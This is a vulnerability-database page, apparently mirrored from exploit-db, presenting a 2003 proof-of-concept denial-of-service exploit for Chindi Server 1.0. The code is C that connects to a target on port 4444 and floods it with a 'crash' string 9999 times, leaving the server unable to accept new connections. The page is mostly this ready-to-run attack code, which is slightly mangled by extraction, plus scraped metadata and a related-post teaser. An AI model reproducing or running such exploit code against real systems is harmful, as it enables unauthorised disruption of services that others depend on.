Chindi Server 1.0 – Denial of Service

Chindi Server 1.0 – Denial of Service

漏洞ID 1053838 漏洞类型
发布时间 2003-04-18 更新时间 2003-04-18
图片[1]-Chindi Server 1.0 – Denial of Service-安全小百科CVE编号 N/A
图片[2]-Chindi Server 1.0 – Denial of Service-安全小百科CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/13
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/***************************************************
* Chindi server 1.0  Denial of Service
* Proof of Concept by Luca Ercoli  luca.ercoli at inwind.it
* After DoS, server appears to be up, but will not allow
* new connections.                                           
****************************************************

#include 
#include 
#include 
#include 
#include 

#define PORT    4444
#define DOS     "crash"


int main(int argc, char *argv[]){

int nOpt,count,sockfd;
struct hostent *he;
struct sockaddr_in server_addr;

char *host;

printf ("nChindi server 1.0 remote DoSnn");

if(argc < 2 ) {
                printf ("Usage: %s -t targetn",argv[0]);
                exit(0);
        }

while((nOpt = getopt(argc, argv, "t")) != -1) {

        switch(nOpt) {
                        case 't':
                        host = optarg;
                        break;
                        default:exit(0);
                }
        }

if ((he = gethostbyname(argv[2])) == NULL)
          {
                  herror("gethostbyname");
                  exit(1);
          }

server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr = *((struct in_addr *) he->h_addr);

sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (connect (sockfd, (struct sockaddr *) &server_addr,sizeof(struct 
sockaddr)) == -1)
          {
                  perror("Connect");
                  exit(1);
          }

printf("1. Connectedn");
sleep(1);
printf("2. Sending crash stringn");
sleep(1);
printf("3. Verifing server status: ");
sleep(1);

for (count=0; count<9999; count++) send(sockfd,DOS,strlen(DOS),0);

close(sockfd);


// milw0rm.com [2003-04-18]

相关推荐: IPSwitch WS_FTP Server FTP Bounce Vulnerability

IPSwitch WS_FTP Server FTP Bounce Vulnerability 漏洞ID 1101323 漏洞类型 Design Error 发布时间 2002-10-25 更新时间 2002-10-25 CVE编号 N/A CNNVD-ID …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享